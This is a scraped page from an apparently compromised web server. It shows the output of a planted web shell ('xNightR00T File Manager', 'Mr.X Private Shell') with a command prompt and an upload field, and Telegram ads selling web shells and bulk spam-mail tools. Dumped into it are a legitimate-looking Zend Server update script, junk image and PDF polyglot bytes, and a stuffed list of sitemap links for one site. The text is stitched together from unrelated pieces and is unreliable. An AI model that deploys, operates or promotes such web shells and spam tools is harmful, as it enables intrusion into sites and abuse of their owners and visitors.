xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
var deploymentLibrariesUpdates = new Class({
	updateUrl: '',
	reportUpdateUrl: '',
	reportNoUpdateUrl: '',
	Implements: [Events,Options],
	checkedItems: [],
	needUpdates: [],
	updateProcess: [],
	boostrap: false,
	zsVersion: '',
	phpVersion: '',
	osName: '',
	arch: '',
	uniqueId: '',
	
	initialize: function(updateUrl, reportUpdateUrl, reportNoUpdateUrl, zsVersion, phpVersion, osName, arch, uniqueId, stopAutoRun) {
		this.updateUrl = updateUrl;
		if (document.location.protocol != "http:") {
			this.updateUrl = this.updateUrl.replace('http:','https:');
		}
		
		this.reportUpdateUrl = reportUpdateUrl;
		this.reportNoUpdateUrl = reportNoUpdateUrl;
		this.zsVersion = zsVersion;
		this.phpVersion = phpVersion;
		this.osName = osName;
		this.arch = arch;
		this.uniqueId = uniqueId;
		
		var zs6BootstrapCookie = Cookie.read('ZS6Bootstrapped');
		if (zs6BootstrapCookie != null) {
			this.boostrap = true;
			Cookie.dispose('ZS6Bootstrapped');
		}
		
		if (! Browser.ie9 && ! stopAutoRun) {
			var zs6LibsCookie = Cookie.read('ZSLIBRARIES');
			if (zs6LibsCookie != null) {
				var libs = JSON.decode(zs6LibsCookie.replace(/\+/gi, ' '));
				Object.each(libs, function(lib, name) {
					if (lib.url.indexOf('https:') === 0) {
						//Check only if secured (https)
						this.check(name, lib.version, lib.url);
					}
				}.bind(this));
			}
		}
	},
	
	check: function(name, currentVersion, checkUrl, directUrl) {
		if (this.updateProcess.length == 0) {
			this.fireEvent('startingUpdate');
		}
		
		this.updateProcess.push(name);
		
		// build parameters according to the url
		if (this.updateUrl.contains('?')) {
			var updateUrl = this.updateUrl + '&name=' + name;
		} else {
			var updateUrl = this.updateUrl + '?name=' + name;
		}
		
		updateUrl += '&currVer=' + currentVersion + '&packageUrl=' + encodeURIComponent(checkUrl) + 
				   '&zs=' + this.zsVersion + '&php=' + this.phpVersion + '&os=' + this.osName + '&arch=' + this.arch + '&hash=' + this.uniqueId + '&r=' + String.uniqueID();
		
		if (this.boostrap) {
			this.boostrap = false;
			updateUrl += '&boot=1';			
		}
		
		if (typeof directUrl != 'undefined') {
			updateUrl = checkUrl;
		}
		
		// we are using XMLHttpRequest because the update url will contain redirect header and mootools Request object
		// isn't handling it at all
		var http = new XMLHttpRequest();
		http.open("GET", updateUrl, true);		
		http.onreadystatechange = function() {
			if(http.readyState == 4 && http.status == 200) {
				var response = JSON.decode(http.responseText);
				var updateError = false;
				if (response.version) {
					// check version is bigger than current
					if (this.versionCompare(response.version, currentVersion) == 1) {
						this.needUpdates[name] = response;
						this.reportNewUpdate(name, response.version, response);
					} else {
						this.reportNoUpdateNeeded(name, response.version);
						this.fireEvent('noUpdateNeeded', {'name': name});
					}
					this.checkedItems.push(name);
				} else {
					updateError = true;
				}
				
				this.updateProcess.erase(name);
				this.fireEvent('finishUpdateRow', {'name': name});
				
				// finished with update
				if (this.updateProcess.length == 0) {
					this.fireEvent('finishUpdate');
				}
				
				if (updateError) {
					this.fireEvent('updateError', {'name': name});
				}
			} else {
				// cannot get location - try again with direct url
				if (typeof directUrl == 'undefined') {
					this.check(name, currentVersion, checkUrl, true);
				} else { // failed the second time - report the error
					this.updateProcess.erase(name);
					this.fireEvent('finishUpdateRow', {'name': name});
					
					// finished with update
					if (this.updateProcess.length == 0) {
						this.fireEvent('finishUpdate');
					}
					
					this.fireEvent('updateError', {'name': name});
				}
			}
		}.bind(this);
		
		// timeout event of 15 seconds
		http.timeout = 15000;
		http.ontimeout = function () {
			this.updateProcess.erase(name);
			this.fireEvent('finishUpdateRow', {'name': name});
			
			// finished with update
			if (this.updateProcess.length == 0) {
				this.fireEvent('finishUpdate');
			}
			
			this.fireEvent('updateError', {'name': name});
		}.bind(this);
		http.send(null);
	},
	
	wasChecked: function(name) {
		if (this.checkedItems.contains(name)) {
			return true;
		}
		
		return false;
	},
	
	inUpdateProcess: function(name) {
		if (this.updateProcess.contains(name)) {
			return true;
		}
		
		return false;
	},
	
	needUpdate: function(name, version) {
		if (this.needUpdates[name] != undefined) {
			if (this.versionCompare(this.needUpdates[name].version, version) == 1) {
				return true;
			}
			
			this.needUpdates.erase(name);
		}
		
		return false;
	},
	
	getUpdateData: function(name) {
		if (this.needUpdates[name] != undefined) {
			return this.needUpdates[name];
		}
		
		return null;
	},
	
	versionCompare: function(left, right) {
	    if (typeof left + typeof right != 'stringstring') {
	        return false;
	    }
	    
	    var a = left.split('.');
	    var b = right.split('.');
	    var i = 0, len = Math.max(a.length, b.length);
	        
	    for (; i < len; i++) {
	        if ((a[i] && !b[i] && parseInt(a[i]) > 0) || (parseInt(a[i]) > parseInt(b[i]))) {
	            return 1;
	        } else if ((b[i] && !a[i] && parseInt(b[i]) > 0) || (parseInt(a[i]) < parseInt(b[i]))) {
	            return -1;
	        }
	    }
	    
	    return 0;
	},
	
	// report the new update availibilty to the server
	reportNewUpdate: function(name, version, extraData) {
		var request = new Request.JSON({
			url: this.reportUpdateUrl,
			data: {'name': name, 'version': version, 'extraData': extraData},
            headers : {
                 'Accept': 'application/json',
                 'X-Request': 'JSON'
            },
			onSuccess: function(response) {
				this.fireEvent('finishReportNewUpdate', {'name': name});
			}.bind(this)
		}).post();
	},
	
	// report no update needed to the server
	reportNoUpdateNeeded: function(name, version) {
		var request = new Request.JSON({
			url: this.reportNoUpdateUrl,
			data: {'name': name, 'version': version},
            headers : {
                 'Accept': 'application/json',
                 'X-Request': 'JSON'
            },
			onSuccess: function(response) {
				this.fireEvent('finishReportNoUpdateNeeded', {'name': name});
			}.bind(this)
		}).post();
	}
});

Filemanager

Name Type Size Permission Actions
grid.js File 767 B 0644
updates.js File 6.22 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml